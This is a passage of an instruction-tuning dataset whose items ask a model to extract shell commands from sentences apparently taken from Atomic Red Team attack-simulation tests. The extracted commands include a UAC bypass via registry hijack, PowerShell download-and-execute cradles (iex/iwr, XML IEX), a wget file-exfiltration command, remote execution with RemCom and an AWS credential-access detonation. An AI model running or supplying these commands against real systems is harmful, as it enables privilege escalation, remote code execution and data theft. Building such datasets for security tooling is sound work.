SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For Windows 10 UAC bypass that results in an administrative command prompt, run these PowerShell commands: New-Item \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Force\nNew-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\ComputerDefaults.exe\"",
    "output": "{\"command_list\": [\"New-Item \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Force\\nNew-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Name \\\"DelegateExecute\\\" -Value \\\"\\\" -Force\\nSet-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Name \\\"(default)\\\" -Value \\\"#{executable_binary}\\\" -Force\\nStart-Process \\\"C:\\\\Windows\\\\System32\\\\ComputerDefaults.exe\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The insmod command is used to load kernel modules, as shown here: sudo insmod #{module_path}",
    "output": "{\"command_list\": [\"sudo insmod #{module_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This operation requires RemCom installed and will start a process on a remote host via the command: \"PathToAtomicsFolder\\..\\ExternalPayloads\\remcom.exe\" \\\\#{remote_host} /user:#{user_name} /pwd:#{password} cmd.exe",
    "output": "{\"command_list\": [\"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\remcom.exe\\\" \\\\\\\\#{remote_host} /user:#{user_name} /pwd:#{password} cmd.exe\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enumerate system services, run the following command, which checks the operating system and uses the appropriate tool: if [ \"$(uname)\" = 'FreeBSD' ]; then service -e; else systemctl --type=service; fi;",
    "output": "{\"command_list\": [\"if [ \\\"$(uname)\\\" = 'FreeBSD' ]; then service -e; else systemctl --type=service; fi;\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    After installing nltest through Windows RSAT or the Windows Server AD DS role, execute these commands to reveal domain trusts, a technique known to be used by the Trickbot malware family:\nnltest /domain_trusts\nnltest /trusted_domains\n",
    "output": "{\"command_list\": [\"nltest /domain_trusts\\nnltest /trusted_domains\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Data can be exfiltrated securely via HTTPS with this wget command: wget --post-file=\"#{input_file}\" --timeout=5 --no-check-certificate #{endpoint_domain} --delete-after",
    "output": "{\"command_list\": [\"wget --post-file=\\\"#{input_file}\\\" --timeout=5 --no-check-certificate #{endpoint_domain} --delete-after\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This atomic test uses stratus-red-team to execute an unauthorized API call GetPasswordData, which can be done with the following command sequence: export AWS_REGION=#{aws_region} \ncd #{stratus_path}\necho \"starting warmup\"\n./stratus warmup aws.credential-access.ec2-get-password-data\necho \"starting detonate\"\n./stratus detonate aws.credential-access.ec2-get-password-data --force",
    "output": "{\"command_list\": [\"export AWS_REGION=#{aws_region} \\ncd #{stratus_path}\\necho \\\"starting warmup\\\"\\n./stratus warmup aws.credential-access.ec2-get-password-data\\necho \\\"starting detonate\\\"\\n./stratus detonate aws.credential-access.ec2-get-password-data --force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This PowerShell script, provided by https://github.com/mgreen27/mgreen27.github.io, executes an XML download request and outputs 'Download Cradle test success!' when run with the command: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -exec bypass -noprofile \"$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load(\\'#{url}\\');$Xml.command.a.execute | IEX\"",
    "output": "{\"command_list\": [\"\\\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\\" -exec bypass -noprofile \\\"$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX\\\"\\n\"]}"
  },
  {
